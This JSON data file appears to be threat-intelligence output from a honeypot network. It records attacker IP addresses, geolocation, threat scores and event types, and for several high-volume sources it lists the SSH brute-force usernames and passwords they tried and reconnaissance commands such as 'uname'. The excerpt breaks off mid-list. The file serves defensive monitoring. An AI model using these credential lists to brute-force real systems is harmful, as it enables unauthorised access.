    "141.164.248.78": {
      "attack_count": 2,
      "first_seen": "2026-05-11T15:29:20.189Z",
      "last_seen": "2026-05-11T15:29:33.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Jeddah",
      "asn": 25019,
      "as_org": "Saudi Telecom Company JSC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T15:29:20.189000+00:00",
        "last_seen_30d": "2026-05-11T15:30:42.925000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.81.122.28": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:55:51.661Z",
      "last_seen": "2026-05-23T08:56:29.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:55:51.661000+00:00",
        "last_seen_30d": "2026-05-23T08:57:31.298000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.111.135": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:45:03.938Z",
      "last_seen": "2026-05-22T23:45:17.276Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:45:03.938000+00:00",
        "last_seen_30d": "2026-05-22T23:46:17.654000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.74.124.95": {
      "attack_count": 2,
      "first_seen": "2026-05-02T21:16:17.343Z",
      "last_seen": "2026-05-02T21:18:17.345Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Palmares do Sul",
      "asn": 53184,
      "as_org": "VERO S.A",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T21:16:17.343000+00:00",
        "last_seen_30d": "2026-05-02T21:19:54.344000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "181.120.120.176": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:55:19.373Z",
      "last_seen": "2026-05-05T21:55:31.678Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Asunci\u00f3n",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:55:19.373000+00:00",
        "last_seen_30d": "2026-05-05T21:56:37.987000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.18.146.70": {
      "attack_count": 2,
      "first_seen": "2026-05-19T19:18:41.667Z",
      "last_seen": "2026-05-19T19:18:54.493Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:18:41.667000+00:00",
        "last_seen_30d": "2026-05-19T19:20:02.889000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.19.252.186": {
      "attack_count": 2,
      "first_seen": "2026-05-09T06:17:51.915Z",
      "last_seen": "2026-05-09T06:18:04.680Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Natal",
      "asn": 28126,
      "as_org": "BRISANET SERVICOS DE TELECOMUNICACOES S.A",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:17:51.915000+00:00",
        "last_seen_30d": "2026-05-09T06:19:14.491000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.241.41.250": {
      "attack_count": 2,
      "first_seen": "2026-05-18T16:09:29.306Z",
      "last_seen": "2026-05-18T16:09:41.771Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "San Luis Potos\u00ed City",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T16:09:29.306000+00:00",
        "last_seen_30d": "2026-05-18T16:10:43.249000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.29.127.117": {
      "attack_count": 2,
      "first_seen": "2026-05-18T05:24:58.111Z",
      "last_seen": "2026-05-18T05:25:12.511Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T05:24:58.111000+00:00",
        "last_seen_30d": "2026-05-18T05:26:17.065000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.173.0.143": {
      "attack_count": 2,
      "first_seen": "2026-05-19T05:54:20.926Z",
      "last_seen": "2026-05-19T05:54:33.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Hermosillo",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T05:54:20.926000+00:00",
        "last_seen_30d": "2026-05-19T05:55:41.764000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.134.45.252": {
      "attack_count": 2,
      "first_seen": "2026-05-17T22:18:12.615Z",
      "last_seen": "2026-05-17T22:18:24.909Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T22:18:12.615000+00:00",
        "last_seen_30d": "2026-05-17T22:19:34.615000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.140.94.154": {
      "attack_count": 2,
      "first_seen": "2026-05-10T13:36:18.855Z",
      "last_seen": "2026-05-10T13:36:30.812Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 18809,
      "as_org": "Cable Onda",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:36:18.855000+00:00",
        "last_seen_30d": "2026-05-10T13:38:13.326000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.117.14.70": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:02:57.916Z",
      "last_seen": "2026-05-06T11:04:57.923Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36925,
      "as_org": "ASMedi",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:02:57.916000+00:00",
        "last_seen_30d": "2026-05-06T11:16:00.361000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "200.54.51.194": {
      "attack_count": 2,
      "first_seen": "2026-05-19T18:14:34.400Z",
      "last_seen": "2026-05-19T18:14:37.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Santiago",
      "asn": 16629,
      "as_org": "CTC. CORP S.A. TELEFONICA EMPRESAS",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:14:34.400000+00:00",
        "last_seen_30d": "2026-05-19T18:15:41.068000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.238.2.76": {
      "attack_count": 2,
      "first_seen": "2026-05-19T15:34:51.810Z",
      "last_seen": "2026-05-19T15:35:04.637Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T15:34:51.810000+00:00",
        "last_seen_30d": "2026-05-19T15:36:10.828000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.31.108.48": {
      "attack_count": 2,
      "first_seen": "2026-05-14T10:29:47.141Z",
      "last_seen": "2026-05-14T10:29:59.258Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:29:47.141000+00:00",
        "last_seen_30d": "2026-05-14T10:31:09.475000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.210.186.4": {
      "attack_count": 2,
      "first_seen": "2026-05-06T22:12:08.094Z",
      "last_seen": "2026-05-06T22:14:08.164Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Soledad",
      "asn": 273172,
      "as_org": "INTERCARIBE TV S.A.S.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T22:12:08.094000+00:00",
        "last_seen_30d": "2026-05-06T22:15:43.722000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.83.169.93": {
      "attack_count": 2,
      "first_seen": "2026-05-02T00:07:57.183Z",
      "last_seen": "2026-05-02T00:08:10.924Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:07:57.183000+00:00",
        "last_seen_30d": "2026-05-02T00:09:19.403000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.243.68.108": {
      "attack_count": 2,
      "first_seen": "2026-05-23T05:43:07.604Z",
      "last_seen": "2026-05-23T05:43:30.883Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Slovakia",
      "country_code": "SK",
      "city": "Michalovce",
      "asn": 39574,
      "as_org": "Minet Slovakia s.r.o.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T05:43:07.604000+00:00",
        "last_seen_30d": "2026-05-23T05:44:31.976000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.54.53.48": {
      "attack_count": 2,
      "first_seen": "2026-05-22T23:39:53.450Z",
      "last_seen": "2026-05-22T23:40:21.687Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T23:39:53.450000+00:00",
        "last_seen_30d": "2026-05-22T23:41:22.056000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "66.240.236.109": {
      "attack_count": 2,
      "first_seen": "2026-05-25T13:30:35.653Z",
      "last_seen": "2026-05-25T13:30:46.023Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 77.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.6,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 72,
        "days_active_30d": 27,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T18:10:15.562000+00:00",
        "last_seen_30d": "2026-05-28T08:47:33.260000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 58,
        "Dionaea": 5,
        "ElasticPot": 3,
        "Honeytrap": 3,
        "Cowrie": 2,
        "H0neytr4p": 1
      }
    },
    "81.19.216.71": {
      "attack_count": 2,
      "first_seen": "2026-05-12T03:17:14.262Z",
      "last_seen": "2026-05-12T03:17:14.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.3,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 54,
        "days_active_30d": 1,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T02:53:56.303000+00:00",
        "last_seen_30d": "2026-05-12T04:01:32.104000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 48,
        "Tanner": 4,
        "Cowrie": 2
      }
    },
    "82.205.64.151": {
      "attack_count": 2,
      "first_seen": "2026-05-10T03:33:37.372Z",
      "last_seen": "2026-05-10T03:33:50.794Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Ramallah",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:33:37.372000+00:00",
        "last_seen_30d": "2026-05-10T03:34:54.279000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.153.34.114": {
      "attack_count": 6882,
      "first_seen": "2026-05-02T17:11:10.776Z",
      "last_seen": "2026-05-24T10:23:21.047Z",
      "sessions": 1372,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "admin",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "frappe",
        "git",
        "hadoop",
        "app",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "1",
        "password",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "1111",
        "123123",
        "Aa123456",
        "admin",
        "admin123",
        "qwe123",
        "test123",
        "******",
        "111111"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 46.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 9662,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:11:09.200000+00:00",
        "last_seen_30d": "2026-05-24T10:24:31.258000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6882,
        "Suricata": 2780
      }
    },
    "178.105.107.112": {
      "attack_count": 1987,
      "first_seen": "2026-05-27T03:02:36.525Z",
      "last_seen": "2026-05-28T05:15:58.738Z",
      "sessions": 401,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "100200",
        "1111111111",
        "111222",
        "121212",
        "121290",
        "123456",
        "12345678",
        "123456789",
        "123456987",
        "123456Aa",
        "123456aA",
        "123456r",
        "12345s",
        "1236987",
        "123@abc",
        "123qwe",
        "134679",
        "1357911",
        "23456",
        "303030"
      ],
      "commands_executed": [
        "ssh -V",
        "uptime"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Falkenstein",
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4557,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T03:02:36.525000+00:00",
        "last_seen_30d": "2026-05-31T23:46:07.066000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2570,
        "Cowrie": 1987
      }
    },
    "80.94.92.182": {
      "attack_count": 820,
      "first_seen": "2026-05-21T14:11:30.244Z",
      "last_seen": "2026-05-29T17:37:58.694Z",
      "sessions": 164,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "sol",
        "ubuntu",
        "root",
        "3d",
        "jibs",
        "minima",
        "node",
        "opadmin",
        "operation",
        "ps",
        "psadmin",
        "raydium",
        "validator",
        "firedancer",
        "ops"
      ],
      "passwords_attempted": [
        "solana",
        "qwer1234",
        "!@#$%^",
        "validator",
        "firedancer",
        "123",
        "1234",
        "123456",
        "12345678",
        "1234567890-=",
        "1234qwer",
        "1q2w3e4r",
        "1qq2w3e4r5t",
        "321",
        "3d",
        "ZXCVASDFQWER!@#$",
        "fuckoff",
        "fuckyou",
        "jibs",
        "minima"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 46.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1239,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T14:04:58.123000+00:00",
        "last_seen_30d": "2026-05-29T17:39:04.635000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 820,
        "Suricata": 419
      }
    },
    "161.248.189.72": {
      "attack_count": 533,
      "first_seen": "2026-05-07T00:46:41.705Z",
      "last_seen": "2026-05-16T10:43:16.259Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "user",
        "deploy",
        "www",
        "alex",
        "debian",
        "docker",
        "dockeradmin",
        "ftpuser",
        "ghostuser",
        "jbernal",
        "kafka",
        "lampuser",
        "minikube",
        "mysql",
        "security",
        "server"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "test123",
